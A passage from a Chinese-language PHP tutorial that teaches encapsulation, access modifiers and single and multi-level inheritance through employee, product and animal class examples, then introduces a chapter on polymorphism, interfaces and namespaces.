        $admin->exportData(); // 可能失败,取决于管理员级别
    } catch (Exception $e) {
        echo $e->getMessage() . "\n";
    }

    echo "\nVIP功能测试:\n";
    $vip->accessExclusiveContent();
    $vip->downloadFile("movie.mp4");

    echo "\n用户信息对比:\n";
    echo "普通用户:\n";
    print_r($user->getUserInfo());
    echo "\n管理员:\n";
    print_r($admin->getUserInfo());
    echo "\nVIP用户:\n";
    print_r($vip->getUserInfo());

} catch (Exception $e) {
    echo "错误:" . $e->getMessage() . "\n";
}
?>

多层继承示例

<?php
// 基础类:员工
class Employee {
    protected $id;
    protected $name;
    protected $position;
    protected $salary;
    protected $hireDate;
    protected $department;

    public function __construct($name, $position, $salary, $department) {
        $this->id = uniqid('emp_');
        $this->name = $name;
        $this->position = $position;
        $this->salary = $salary;
        $this->department = $department;
        $this->hireDate = date('Y-m-d');

        echo "雇佣员工:{$this->name} ({$this->position})\n";
    }

    public function work() {
        echo "{$this->name} 正在工作\n";
    }

    public function takeBreak() {
        echo "{$this->name} 正在休息\n";
    }

    public function getAnnualSalary() {
        return $this->salary * 12;
    }

    public function getYearsOfService() {
        $hireDate = new DateTime($this->hireDate);
        $currentDate = new DateTime();
        return $currentDate->diff($hireDate)->y;
    }

    public function giveRaise($percentage) {
        $increase = $this->salary * ($percentage / 100);
        $this->salary += $increase;
        echo "{$this->name} 获得加薪:¥{$increase},新工资:¥{$this->salary}\n";
    }

    public function getEmployeeInfo() {
        return [
            'id' => $this->id,
            'name' => $this->name,
            'position' => $this->position,
            'salary' => $this->salary,
            'department' => $this->department,
            'hire_date' => $this->hireDate,
            'years_of_service' => $this->getYearsOfService()
        ];
    }

    // Getter方法
    public function getId() { return $this->id; }
    public function getName() { return $this->name; }
    public function getPosition() { return $this->position; }
    public function getSalary() { return $this->salary; }
    public function getDepartment() { return $this->department; }
}

// 第二层:经理(继承员工)
class Manager extends Employee {
    private $teamSize;
    private $managedEmployees = [];
    private $bonus;

    public function __construct($name, $department, $salary, $teamSize = 0) {
        parent::__construct($name, "经理", $salary, $department);
        $this->teamSize = $teamSize;
        $this->bonus = 0;
    }

    public function addEmployee(Employee $employee) {
        $this->managedEmployees[] = $employee;
        $this->teamSize = count($this->managedEmployees);
        echo "经理 {$this->name} 现在管理 {$this->teamSize} 名员工\n";
    }

    public function removeEmployee($employeeId) {
        foreach ($this->managedEmployees as $key => $employee) {
            if ($employee->getId() === $employeeId) {
                unset($this->managedEmployees[$key]);
                $this->managedEmployees = array_values($this->managedEmployees);
                $this->teamSize = count($this->managedEmployees);
                echo "移除员工,当前团队规模:{$this->teamSize}\n";
                return true;
            }
        }
        return false;
    }

    public function conductMeeting() {
        echo "经理 {$this->name} 正在主持会议\n";
    }

    public function assignTask($task) {
        echo "经理 {$this->name} 分配任务:{$task}\n";
    }

    public function evaluatePerformance() {
        echo "经理 {$this->name} 正在进行绩效评估\n";
        $this->awardBonus(1000);
    }

    protected function awardBonus($amount) {
        $this->bonus += $amount;
        echo "经理 {$this->name} 获得奖金:¥{$amount}\n";
    }

    public function getTotalCompensation() {
        return $this->getAnnualSalary() + $this->bonus;
    }

    public function getTeamMembers() {
        return $this->managedEmployees;
    }

    public function getTeamSize() {
        return $this->teamSize;
    }

    // 重写父类方法
    public function work() {
        echo "经理 {$this->name} 正在管理工作\n";
        $this->conductMeeting();
    }

    public function getEmployeeInfo() {
        $info = parent::getEmployeeInfo();
        $info['team_size'] = $this->teamSize;
        $info['bonus'] = $this->bonus;
        $info['total_compensation'] = $this->getTotalCompensation();
        $info['managed_employees'] = array_map(function($emp) {
            return $emp->getName() . ' (' . $emp->getPosition() . ')';
        }, $this->managedEmployees);
        return $info;
    }
}

// 第三层:总监(继承经理)
class Director extends Manager {
    private $managedManagers = [];
    private $budget;
    private $stockOptions;

    public function __construct($name, $department, $salary, $budget = 1000000) {
        parent::__construct($name, $department, $salary);
        $this->position = "总监";
        $this->budget = $budget;
        $this->stockOptions = 0;
    }

    public function addManager(Manager $manager) {
        $this->managedManagers[] = $manager;
        $this->teamSize += $manager->getTeamSize() + 1; // +1 for the manager
        echo "总监 {$this->name} 现在管理 " . count($this->managedManagers) . " 名经理\n";
    }

    public function approveBudget($amount, $purpose) {
        if ($amount <= $this->budget) {
            $this->budget -= $amount;
            echo "总监 {$this->name} 批准预算:¥{$amount} 用于 {$purpose}\n";
            return true;
        } else {
            echo "预算不足,无法批准\n";
            return false;
        }
    }

    public function setCompanyStrategy() {
        echo "总监 {$this->name} 正在制定公司战略\n";
    }

    public function boardMeeting() {
        echo "总监 {$this->name} 参加董事会会议\n";
    }

    public function grantStockOptions($shares) {
        $this->stockOptions += $shares;
        echo "总监 {$this->name} 获得股票期权:{$shares} 股\n";
    }

    public function getTotalCompensation() {
        $baseCompensation = parent::getTotalCompensation();
        $stockValue = $this->stockOptions * 50; // 假设每股50元
        return $baseCompensation + $stockValue;
    }

    // 重写父类方法
    public function work() {
        echo "总监 {$this->name} 正在进行战略决策\n";
        $this->setCompanyStrategy();
        $this->boardMeeting();
    }

    public function getEmployeeInfo() {
        $info = parent::getEmployeeInfo();
        $info['position'] = '总监';
        $info['budget'] = $this->budget;
        $info['stock_options'] = $this->stockOptions;
        $info['managed_managers'] = array_map(function($manager) {
            return $manager->getName() . ' (经理)';
        }, $this->managedManagers);
        $info['total_team_size'] = $this->teamSize;
        return $info;
    }
}

// 使用多层继承
echo "=== 多层继承示例 ===\n";

echo "\n创建员工层级:\n";
$employee1 = new Employee("张三", "开发工程师", 8000, "技术部");
$employee2 = new Employee("李四", "测试工程师", 7000, "技术部");
$manager = new Manager("王五", "技术部", 15000);
$director = new Director("赵六", "技术部", 30000, 5000000);

echo "\n构建团队结构:\n";
$manager->addEmployee($employee1);
$manager->addEmployee($employee2);
$director->addManager($manager);

echo "\n模拟工作场景:\n";
$employee1->work();
$manager->work();
$director->work();

echo "\n绩效评估和奖金:\n";
$manager->evaluatePerformance();
$director->awardBonus(5000);
$director->grantStockOptions(1000);

echo "\n预算管理:\n";
$director->approveBudget(100000, "新项目开发");
$director->approveBudget(5000000, "设备采购");

echo "\n员工信息对比:\n";
echo "普通员工:\n";
print_r($employee1->getEmployeeInfo());
echo "\n经理:\n";
print_r($manager->getEmployeeInfo());
echo "\n总监:\n";
print_r($director->getEmployeeInfo());
?>

实际应用示例

电子商务系统中的继承

<?php
// 基础产品类
class Product {
    protected $id;
    protected $name;
    protected $price;
    protected $description;
    protected $category;
    protected $stock;
    protected $sku;
    protected $weight;
    protected $isActive = true;

    public function __construct($id, $name, $price, $category) {
        $this->id = $id;
        $this->name = $name;
        $this->price = $price;
        $this->category = $category;
        $this->sku = $this->generateSKU();
        $this->stock = 0;
        $this->weight = 0;
        $this->description = '';
    }

    protected function generateSKU() {
        return strtoupper(substr($this->name, 0, 3)) . '-' . $this->id;
    }

    public function setPrice($price) {
        $this->price = max(0, (float)$price);
    }

    public function setStock($stock) {
        $this->stock = max(0, (int)$stock);
    }

    public function setDescription($description) {
        $this->description = $description;
    }

    public function setWeight($weight) {
        $this->weight = max(0, (float)$weight);
    }

    public function getCalculatedPrice() {
        return $this->price;
    }

    public function getShippingWeight() {
        return $this->weight;
    }

    public function isInStock() {
        return $this->stock > 0 && $this->isActive;
    }

    public function activate() {
        $this->isActive = true;
    }

    public function deactivate() {
        $this->isActive = false;
    }

    public function getBasicInfo() {
        return [
            'id' => $this->id,
            'name' => $this->name,
            'sku' => $this->sku,
            'price' => $this->price,
            'category' => $this->category,
            'stock' => $this->stock,
            'is_active' => $this->isActive
        ];
    }

    // Getter方法
    public function getId() { return $this->id; }
    public function getName() { return $this->name; }
    public function getPrice() { return $this->price; }
    public function getSku() { return $this->sku; }
    public function getStock() { return $this->stock; }
}

// 物理产品类
class PhysicalProduct extends Product {
    private $dimensions;
    private $requiresShipping = true;
    private $shippingCost;

    public function __construct($id, $name, $price, $category, $dimensions = []) {
        parent::__construct($id, $name, $price, $category);
        $this->dimensions = $dimensions;
        $this->calculateShippingCost();
    }

    private function calculateShippingCost() {
        $baseCost = 10;
        $weightCost = $this->weight * 2;
        $this->shippingCost = $baseCost + $weightCost;
    }

    public function setDimensions($length, $width, $height) {
        $this->dimensions = [
            'length' => $length,
            'width' => $width,
            'height' => $height
        ];
        $this->calculateShippingCost();
    }

    public function getShippingCost() {
        return $this->requiresShipping ? $this->shippingCost : 0;
    }

    public function getCalculatedPrice() {
        return parent::getCalculatedPrice() + $this->getShippingCost();
    }

    public function getBasicInfo() {
        $info = parent::getBasicInfo();
        $info['type'] = 'physical';
        $info['dimensions'] = $this->dimensions;
        $info['shipping_cost'] = $this->getShippingCost();
        $info['total_price'] = $this->getCalculatedPrice();
        return $info;
    }
}

// 数字产品类
class DigitalProduct extends Product {
    private $fileSize;
    private $fileFormat;
    private $downloadLimit = 5;
    private $downloadExpire = '30 days';

    public function __construct($id, $name, $price, $category, $fileSize, $fileFormat) {
        parent::__construct($id, $name, $price, $category);
        $this->fileSize = $fileSize;
        $this->fileFormat = $fileFormat;
        $this->weight = 0; // 数字产品没有重量
    }

    public function setDownloadLimit($limit) {
        $this->downloadLimit = max(1, (int)$limit);
    }

    public function setDownloadExpire($days) {
        $this->downloadExpire = $days . ' days';
    }

    public function getShippingCost() {
        return 0; // 数字产品免运费
    }

    public function getCalculatedPrice() {
        return parent::getCalculatedPrice(); // 无运费
    }

    public function getBasicInfo() {
        $info = parent::getBasicInfo();
        $info['type'] = 'digital';
        $info['file_size'] = $this->fileSize;
        $info['file_format'] = $this->fileFormat;
        $info['download_limit'] = $this->downloadLimit;
        $info['download_expire'] = $this->downloadExpire;
        $info['total_price'] = $this->getCalculatedPrice();
        return $info;
    }
}

// 订阅产品类
class SubscriptionProduct extends Product {
    private $billingCycle;
    private $duration;
    private $autoRenew = true;
    private $trialDays = 0;

    public function __construct($id, $name, $price, $category, $billingCycle = 'monthly') {
        parent::__construct($id, $name, $price, $category);
        $this->billingCycle = $billingCycle;
        $this->duration = $this->calculateDuration();
        $this->weight = 0;
    }

    private function calculateDuration() {
        switch ($this->billingCycle) {
            case 'monthly': return 30;
            case 'quarterly': return 90;
            case 'yearly': return 365;
            default: return 30;
        }
    }

    public function setTrialDays($days) {
        $this->trialDays = max(0, (int)$days);
    }

    public function enableAutoRenew($enable = true) {
        $this->autoRenew = $enable;
    }

    public function getCalculatedPrice() {
        $monthlyPrice = parent::getCalculatedPrice();
        switch ($this->billingCycle) {
            case 'monthly': return $monthlyPrice;
            case 'quarterly': return $monthlyPrice * 3 * 0.9; // 10% 折扣
            case 'yearly': return $monthlyPrice * 12 * 0.8; // 20% 折扣
            default: return $monthlyPrice;
        }
    }

    public function getShippingCost() {
        return 0; // 订阅产品免运费
    }

    public function getBasicInfo() {
        $info = parent::getBasicInfo();
        $info['type'] = 'subscription';
        $info['billing_cycle'] = $this->billingCycle;
        $info['duration_days'] = $this->duration;
        $info['auto_renew'] = $this->autoRenew;
        $info['trial_days'] = $this->trialDays;
        $info['total_price'] = $this->getCalculatedPrice();
        return $info;
    }
}

// 使用电子商务产品继承
echo "=== 电子商务系统继承示例 ===\n";

echo "\n创建不同类型的产品:\n";
$laptop = new PhysicalProduct("P001", "笔记本电脑", 5000, "电子产品");
$laptop->setWeight(2.5);
$laptop->setDimensions(35, 25, 2);
$laptop->setStock(50);

$ebook = new DigitalProduct("D001", "PHP编程指南", 29.99, "电子书", "15MB", "PDF");
$ebook->setDownloadLimit(10);
$ebook->setStock(999999); // 数字产品库存不受限制

$vipSubscription = new SubscriptionProduct("S001", "VIP会员", 99, "会员服务", "monthly");
$vipSubscription->setTrialDays(7);

echo "\n产品信息对比:\n";
echo "物理产品:\n";
print_r($laptop->getBasicInfo());

echo "\n数字产品:\n";
print_r($ebook->getBasicInfo());

echo "\n订阅产品:\n";
print_r($vipSubscription->getBasicInfo());

echo "\n价格计算:\n";
echo "笔记本电脑总价(含运费):¥" . $laptop->getCalculatedPrice() . "\n";
echo "电子书价格:¥" . $ebook->getCalculatedPrice() . "\n";
echo "VIP会员年费:¥" . (new SubscriptionProduct("S002", "VIP年费", 99, "会员服务", "yearly"))->getCalculatedPrice() . "\n";
?>

最佳实践和注意事项

封装的最佳实践

  1. 最小暴露原则:只暴露必要的方法和属性
  2. 使用访问控制:合理使用public、protected、private
  3. 提供getter和setter:控制对私有属性的访问
  4. 验证输入:在setter方法中验证数据
  5. 保持接口简单:公共接口应该简洁明了

继承的最佳实践

  1. 遵循"is-a"关系:子类应该是父类的一种特殊类型
  2. 不要过度继承:优先使用组合而不是继承
  3. 调用父类构造函数:始终在子类构造函数中调用parent::__construct()
  4. 小心重写:重写方法时保持向后兼容性
  5. 了解层次深度:避免过深的继承层次

常见的反模式

<?php
// 反模式1:过度暴露
class BadClass {
    public $data; // 应该是private
    // 缺少getter/setter,直接暴露内部状态
}

// 反模式2:过度继承
class A extends B extends C extends D extends E {
    // 继承层次过深,难以维护
}

// 反模式3:违反"is-a"原则
class Employee extends DatabaseConnection {
    // 员工不是数据库连接,应该使用组合
}

// 好的设计模式
class GoodExample {
    private $data;

    public function getData() {
        return $this->data;
    }

    public function setData($data) {
        $this->data = $this->validateData($data);
    }

    private function validateData($data) {
        // 验证逻辑
        return $data;
    }
}

// 使用组合而不是继承
class Employee {
    private $dbConnection;

    public function __construct(DatabaseConnection $dbConnection) {
        $this->dbConnection = $dbConnection;
    }
}
?>

总结

封装和继承是面向对象编程的基石:

关键要点:

  1. 封装

    • 保护数据和控制访问
    • 使用访问控制修饰符
    • 提供公共接口
    • 实现信息隐藏
  2. 继承

    • 实现代码重用
    • 建立"is-a"关系
    • 支持方法重写
    • 创建类层次结构
  3. 访问控制

    • public:任何地方可访问
    • protected:类和子类可访问
    • private:仅类内部可访问
  4. 设计原则

    • 最小暴露原则
    • 封装变化
    • 优先组合而不是继承
    • 保持接口简单

最佳实践:

  • 合理使用访问控制修饰符
  • 通过getter和setter控制属性访问
  • 遵循"is-a"关系使用继承
  • 在子类中调用parent构造函数
  • 避免过深的继承层次
  • 优先考虑组合而不是继承

通过掌握封装和继承,你可以构建更加结构化、可维护和可扩展的面向对象应用程序。这些概念为更高级的OOP特性如接口、抽象类和多态奠定了基础。

第13章:OOP 高级特性

本章学习目标

  • 掌握继承的概念、语法和实际应用
  • 理解多态的原理和实现方式
  • 学会使用抽象类和接口设计灵活的系统
  • 掌握命名空间的用法和最佳实践
  • 能够运用面向对象的高级特性构建复杂应用

本章内容概览

在第12章中,我们学习了面向对象编程的基础知识,包括类、对象、属性、方法、构造函数、析构函数和访问控制等。本章将深入探讨OOP的高级特性,这些特性将帮助你构建更加灵活、可维护和可扩展的PHP应用程序。

OOP四大特性回顾

面向对象编程有四个核心特性:

  1. 封装(Encapsulation) - 将数据和方法捆绑在一起,隐藏内部实现细节
  2. 继承(Inheritance) - 允许一个类获得另一个类的属性和方法
  3. 多态(Polymorphism) - 不同对象对同一消息的不同响应
  4. 抽象(Abstraction) - 隐藏复杂性,只展示必要的功能

本章将重点关注后三个高级特性。

章节结构

13.1 继承

继承是面向对象编程的基石,它允许我们创建基于现有类的新类。这一节将详细介绍:

  • 继承的基本概念和语法
  • parent关键字的使用
  • 方法重写和final关键字
  • 访问控制在继承中的表现
  • 多层继承的实现
  • 实际项目中的应用示例

学习重点

  • 理解IS-A关系(是一个)
  • 掌握extends关键字的使用
  • 学会重写父类方法
  • 了解继承的限制和最佳实践

13.2 多态

多态让代码更加灵活和可扩展。本节将探讨:

  • 多态的概念和工作原理
  • 通过继承实现多态
  • 通过接口实现多态
  • 类型检查和instanceof
  • 实际应用场景和最佳实践

学习重点

  • 理解多态的运行时绑定机制
  • 学会设计可扩展的接口
  • 掌握工厂模式和策略模式等设计模式

13.3 抽象类与接口

抽象类和接口是设计灵活系统的重要工具:

  • 抽象类的定义和使用
  • 接口的概念和实现
  • 抽象类与接口的区别
  • 接口隔离原则
  • 模板方法模式

学习重点

  • 学会选择使用抽象类还是接口
  • 掌握多重接口实现
  • 理解依赖倒置原则

13.4 命名空间

命名空间是现代PHP开发的重要特性:

  • 命名空间的概念和作用
  • 基本语法和使用方法
  • use关键字和别名
  • 自动加载机制
  • PSR-4标准
  • 最佳实践

学习重点

  • 掌握命名空间的定义和引用
  • 学会组织大型项目的代码结构
  • 理解自动加载的工作原理

为什么需要学习这些高级特性?

1. 构建可维护的代码

// 不使用OOP高级特性的代码
function process_payment($type, $amount) {
    if ($type == 'credit_card') {
        // 信用卡处理逻辑
        // ... 50行代码
    } elseif ($type == 'paypal') {
        // PayPal处理逻辑
        // ... 50行代码
    } elseif ($type == 'alipay') {
        // 支付宝处理逻辑
        // ... 50行代码
    }
    // 添加新支付方式需要修改这个函数
}

// 使用多态的代码
function process_payment(PaymentInterface $payment, $amount) {
    return $payment->process($amount);
}
// 添加新支付方式不需要修改这个函数

2. 提高代码复用性

继承让你能够重用经过验证的代码,减少重复开发:

// 基础控制器类
abstract class BaseController {
    protected function view($template, $data = []) {
        // 通用视图渲染逻辑
    }

    protected function json($data) {
        // 通用JSON响应逻辑
    }
}

// 具体控制器继承基础功能
class UserController extends BaseController {
    public function index() {
        $users = User::all();
        return $this->view('users.index', compact('users'));
    }
}

3. 支持团队协作

清晰的接口和命名空间让团队成员能够并行开发:

// 团队A负责用户模块
namespace App\Services\User;

interface UserServiceInterface {
    public function create(array $data);
    public function find($id);
    public function update($id, array $data);
}

// 团队B负责订单模块
namespace App\Services\Order;

class OrderService {
    public function __construct(UserServiceInterface $userService) {
        $this->userService = $userService;
    }
}

学习路径建议

为了更好地掌握本章内容,建议按照以下顺序学习:

  1. 先理解继承:这是最基础的概念,为后续学习打基础
  2. 再学多态:建立在继承基础上,理解动态绑定
  3. 深入抽象类和接口:学会设计灵活的系统架构
  4. 最后掌握命名空间:学习如何组织和管理代码

实践项目

在本章中,我们将通过以下实际项目来巩固所学知识:

  • 员工管理系统:练习继承和重写
  • 支付系统:应用接口和多态
  • 插件系统:实践抽象类和接口设计
  • MVC框架结构:运用命名空间组织代码

与现代框架的关系

现代PHP框架(如Laravel、Symfony等)大量使用了这些高级特性:

  • Laravel:大量使用接口和抽象类(如Repository模式)
  • Symfony:严格的命名空间组织
  • Composer包:遵循PSR-4自动加载标准

掌握这些高级特性将让你更容易理解和使用这些框架。

前置知识

在学习本章之前,请确保你已经掌握了:

  • 第12章:面向对象基础
  • 类和对象的基本概念
  • 属性和方法的访问控制
  • 构造函数和析构函数
  • 基本的错误处理

学习提示

  1. 多写代码:OOP概念需要通过实践来理解
  2. 理解设计模式:尝试识别和使用常见的设计模式
  3. 重构现有代码:将过程式代码改为面向对象
  4. 阅读框架源码:学习优秀代码的设计思路

总结

本章的高级特性是构建大型PHP应用的关键。通过学习这些概念,你将能够:

  • 编写更加模块化和可维护的代码
  • 设计灵活的系统架构
  • 与团队高效协作
  • 理解和使用现代PHP框架
  • 构建可扩展和可测试的应用

让我们开始深入学习PHP面向对象编程的高级特性吧!

继承

什么是继承

继承(Inheritance)是面向对象编程的四大特性之一,它允许一个类(子类)获得另一个类(父类)的属性和方法。通过继承,子类可以重用父类的代码,并在此基础上添加新的功能或修改现有功能。

继承的基本概念

  • 父类(Base Class/Super Class):被继承的类,也叫基类
  • 子类(Derived Class/Child Class):继承父类的类,也叫派生类
  • extends关键字:用于实现继承
  • IS-A关系:子类是父类的一种特殊类型

继承的基本语法

<?php
// 定义父类
class Animal {
    // 属性
    public $name;
    public $age;

    // 构造函数
    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }

    // 方法
    public function eat() {
        echo "{$this->name} 正在吃东西\n";
    }

    public function sleep() {
        echo "{$this->name} 正在睡觉\n";
    }

    public function getInfo() {
        return "这是一只{$this->age}岁的{$this->name}";
    }
}

// 定义子类
class Dog extends Animal {
    // 子类特有的属性
    public $breed;

    // 子类构造函数
    public function __construct($name, $age, $breed) {
        // 调用父类构造函数
        parent::__construct($name, $age);
        $this->breed = $breed;
    }

    // 子类特有的方法
    public function bark() {
        echo "{$this->name} 正在汪汪叫\n";
    }

    // 重写父类方法
    public function getInfo() {
        return "这是一只{$this->breed},名字叫{$this->name},今年{$this->age}岁";
    }
}

// 使用示例
$dog = new Dog("旺财", 3, "金毛");

// 调用继承的方法
$dog->eat();        // 输出:旺财 正在吃东西
$dog->sleep();      // 输出:旺财 正在睡觉

// 调用子类特有的方法
$dog->bark();       // 输出:旺财 正在汪汪叫

// 调用重写后的方法
echo $dog->getInfo(); // 输出:这是一只金毛,名字叫旺财,今年3岁
?>

parent关键字

parent关键字用于访问父类的属性和方法。

调用父类构造函数

<?php
class Vehicle {
    protected $brand;
    protected $model;

    public function __construct($brand, $model) {
        $this->brand = $brand;
        $this->model = $model;
        echo "车辆构造函数被调用\n";
    }

    public function start() {
        echo "启动 {$this->brand} {$this->model}\n";
    }
}

class Car extends Vehicle {
    private $doors;

    public function __construct($brand, $model, $doors) {
        // 调用父类构造函数
        parent::__construct($brand, $model);
        $this->doors = $doors;
        echo "汽车构造函数被调用\n";
    }

    public function openDoors() {
        echo "打开{$this->doors}扇车门\n";
    }

    // 重写父类方法
    public function start() {
        // 调用父类方法
        parent::start();
        echo "汽车启动,准备出发!\n";
    }
}

$car = new Car("丰田", "卡罗拉", 4);
// 输出:
// 车辆构造函数被调用
// 汽车构造函数被调用

$car->start();
// 输出:
// 启动 丰田 卡罗拉
// 汽车启动,准备出发!
?>

访问控制与继承

访问修饰符在继承中的表现:

<?php
class Person {
    public $publicVar = "公开属性";      // 公开的,子类可以直接访问
    protected $protectedVar = "受保护属性";  // 受保护的,子类可以访问
    private $privateVar = "私有属性";    // 私有的,子类不能直接访问

    public function showVars() {
        echo "公开属性:{$this->publicVar}\n";
        echo "受保护属性:{$this->protectedVar}\n";
        echo "私有属性:{$this->privateVar}\n";
    }

    protected function protectedMethod() {
        echo "这是父类的受保护方法\n";
    }

    private function privateMethod() {
        echo "这是父类的私有方法\n";
    }
}

class Student extends Person {
    public function accessParentVars() {
        echo "访问父类的公开属性:{$this->publicVar}\n";        // ✅ 可以访问
        echo "访问父类的受保护属性:{$this->protectedVar}\n";    // ✅ 可以访问
        // echo "访问父类的私有属性:{$this->privateVar}\n";     // ❌ 不能访问
    }

    public function accessParentMethods() {
        $this->protectedMethod();  // ✅ 可以调用
        // $this->privateMethod();   // ❌ 不能调用
    }

    public function showAllVars() {
        // 可以通过父类的公开方法间接访问私有属性
        $this->showVars();
    }
}

$student = new Student();
$student->accessParentVars();
$student->accessParentMethods();
$student->showAllVars();

// 直接访问
echo $student->publicVar;      // ✅ 可以访问
// echo $student->protectedVar;  // ❌ 不能访问
// echo $student->privateVar;    // ❌ 不能访问
?>

方法重写(Method Overriding)

子类可以重新定义父类的方法,这称为方法重写。

基本重写

<?php
class Shape {
    protected $name;

    public function __construct($name) {
        $this->name = $name;
    }

    public function draw() {
        echo "绘制一个{$this->name}\n";
    }

    public function getArea() {
        echo "计算{$this->name}的面积\n";
        return 0;
    }
}

class Circle extends Shape {
    private $radius;

    public function __construct($radius) {
        parent::__construct("圆形");
        $this->radius = $radius;
    }

    // 重写draw方法
    public function draw() {
        echo "绘制一个半径为{$this->radius}的圆形\n";
    }

    // 重写getArea方法
    public function getArea() {
        $area = pi() * $this->radius * $this->radius;
        echo "圆形面积:{$area}\n";
        return $area;
    }
}

class Rectangle extends Shape {
    private $width;
    private $height;

    public function __construct($width, $height) {
        parent::__construct("矩形");
        $this->width = $width;
        $this->height = $height;
    }

    // 重写draw方法
    public function draw() {
        echo "绘制一个{$this->width}x{$this->height}的矩形\n";
    }

    // 重写getArea方法
    public function getArea() {
        $area = $this->width * $this->height;
        echo "矩形面积:{$area}\n";
        return $area;
    }
}

$circle = new Circle(5);
$circle->draw();      // 输出:绘制一个半径为5的圆形
$circle->getArea();   // 输出:圆形面积:78.539816339745

$rectangle = new Rectangle(4, 6);
$rectangle->draw();   // 输出:绘制一个4x6的矩形
$rectangle->getArea(); // 输出:矩形面积:24
?>

使用final关键字防止重写

<?php
class Calculator {
    // final方法不能被重写
    final public function add($a, $b) {
        return $a + $b;
    }

    public function subtract($a, $b) {
        return $a - $b;
    }
}

class AdvancedCalculator extends Calculator {
    // ✅ 可以重写普通方法
    public function subtract($a, $b) {
        return abs($a - $b);  // 返回绝对值
    }

    // ❌ 不能重写final方法
    // public function add($a, $b) {
    //     return $a + $b + 1;
    // }

    public function multiply($a, $b) {
        return $a * $b;
    }
}

// final类不能被继承
final class MathUtils {
    public static function factorial($n) {
        if ($n <= 1) return 1;
        return $n * self::factorial($n - 1);
    }
}

// ❌ 不能继承final类
// class MyMath extends MathUtils {
// }
?>

多层继承

<?php
// 祖父类
class LivingBeing {
    protected $name;

    public function __construct($name) {
        $this->name = $name;
    }

    public function breathe() {
        echo "{$this->name} 正在呼吸\n";
    }
}

// 父类
class Animal extends LivingBeing {
    protected $species;

    public function __construct($name, $species) {
        parent::__construct($name);
        $this->species = $species;
    }

    public function move() {
        echo "{$this->name} 正在移动\n";
    }

    public function eat() {
        echo "{$this->name} 正在吃东西\n";
    }
}

// 子类
class Mammal extends Animal {
    protected $furColor;

    public function __construct($name, $species, $furColor) {
        parent::__construct($name, $species);
        $this->furColor = $furColor;
    }

    public function produceMilk() {
        echo "{$this->name} 正在产奶\n";
    }

    public function showInfo() {
        echo "种类:{$this->species}\n";
        echo "毛色:{$this->furColor}\n";
    }
}

// 孙子类
class Dog extends Mammal {
    private $breed;

    public function __construct($name, $breed, $furColor) {
        parent::__construct($name, "哺乳动物", $furColor);
        $this->breed = $breed;
    }

    public function bark() {
        echo "{$this->name} 正在汪汪叫\n";
    }

    public function showAllInfo() {
        echo "名字:{$this->name}\n";
        echo "品种:{$this->breed}\n";
        $this->showInfo();
    }
}

// 使用示例
$dog = new Dog("小白", "贵宾犬", "白色");

$dog->breathe();      // 祖父类的方法
$dog->move();         // 父类的方法
$dog->eat();          // 父类的方法
$dog->produceMilk();  // 父类的方法
$dog->bark();         // 子类自己的方法

$dog->showAllInfo();
// 输出:
// 名字:小白
// 品种:贵宾犬
// 种类:哺乳动物
// 毛色:白色
?>

继承的实际应用:员工管理系统

<?php
// 基础员工类
class Employee {
    protected $id;
    protected $name;
    protected $baseSalary;

    public function __construct($id, $name, $baseSalary) {
        $this->id = $id;
        $this->name = $name;
        $this->baseSalary = $baseSalary;
    }

    // 计算工资(基础方法)
    public function calculateSalary() {
        return $this->baseSalary;
    }

    // 获取员工信息
    public function getEmployeeInfo() {
        return [
            'id' => $this->id,
            'name' => $this->name,
            'type' => '普通员工',
            'salary' => $this->calculateSalary()
        ];
    }

    // 工作方法
    public function work() {
        echo "{$this->name} 正在工作\n";
    }
}

// 经理类
class Manager extends Employee {
    private $bonus;
    private $department;

    public function __construct($id, $name, $baseSalary, $bonus, $department) {
        parent::__construct($id, $name, $baseSalary);
        $this->bonus = $bonus;
        $this->department = $department;
    }

    // 重写计算工资方法
    public function calculateSalary() {
        return $this->baseSalary + $this->bonus;
    }

    // 重写员工信息方法
    public function getEmployeeInfo() {
        $info = parent::getEmployeeInfo();
        $info['type'] = '经理';
        $info['department'] = $this->department;
        return $info;
    }

    // 经理特有方法
    public function manageTeam() {
        echo "{$this->name} 正在管理{$this->department}部门\n";
    }

    public function approveRequest($request) {
        echo "经理{$this->name}批准了请求:{$request}\n";
    }

    public function work() {
        parent::work();
        echo "{$this->name} 正在制定部门计划\n";
    }
}

// 销售员类
class Salesperson extends Employee {
    private $commissionRate;
    private $salesAmount;

    public function __construct($id, $name, $baseSalary, $commissionRate) {
        parent::__construct($id, $name, $baseSalary);
        $this->commissionRate = $commissionRate;
        $this->salesAmount = 0;
    }

    // 重写计算工资方法
    public function calculateSalary() {
        $commission = $this->salesAmount * $this->commissionRate;
        return $this->baseSalary + $commission;
    }

    // 重写员工信息方法
    public function getEmployeeInfo() {
        $info = parent::getEmployeeInfo();
        $info['type'] = '销售员';
        $info['sales_amount'] = $this->salesAmount;
        $info['commission'] = $this->salesAmount * $this->commissionRate;
        return $info;
    }

    // 销售特有方法
    public function makeSale($amount) {
        $this->salesAmount += $amount;
        echo "{$this->name} 完成了 {$amount} 元的销售额\n";
    }

    public function work() {
        parent::work();
        echo "{$this->name} 正在联系客户\n";
    }
}

// 技术员类
class Technician extends Employee {
    private $skillLevel;
    private $overtimeHours;

    public function __construct($id, $name, $baseSalary, $skillLevel) {
        parent::__construct($id, $name, $baseSalary);
        $this->skillLevel = $skillLevel;
        $this->overtimeHours = 0;
    }

    // 重写计算工资方法
    public function calculateSalary() {
        $overtimePay = $this->overtimeHours * 100;  // 每小时加班费100元
        $skillBonus = $this->skillLevel * 500;      // 技能等级奖励
        return $this->baseSalary + $overtimePay + $skillBonus;
    }

    // 重写员工信息方法
    public function getEmployeeInfo() {
        $info = parent::getEmployeeInfo();
        $info['type'] = '技术员';
        $info['skill_level'] = $this->skillLevel;
        $info['overtime_hours'] = $this->overtimeHours;
        return $info;
    }

    // 技术特有方法
    public function addOvertime($hours) {
        $this->overtimeHours += $hours;
        echo "{$this->name} 加班了 {$hours} 小时\n";
    }

    public function fixBug($bugId) {
        echo "技术员{$this->name}修复了Bug #{$bugId}\n";
    }

    public function work() {
        parent::work();
        echo "{$this->name} 正在编写代码\n";
    }
}

// 使用示例
echo "=== 员工管理系统 ===\n\n";

// 创建员工
$manager = new Manager(1, "张经理", 10000, 3000, "技术部");
$salesperson = new Salesperson(2, "李销售", 5000, 0.05);
$technician = new Technician(3, "王技术", 8000, 3);

// 员工工作
$manager->work();
$salesperson->work();
$technician->work();

echo "\n";

// 特殊操作
$manager->manageTeam();
$manager->approveRequest("购买新服务器");

$salesperson->makeSale(50000);
$salesperson->makeSale(30000);

$technician->fixBug(1001);
$technician->addOvertime(10);
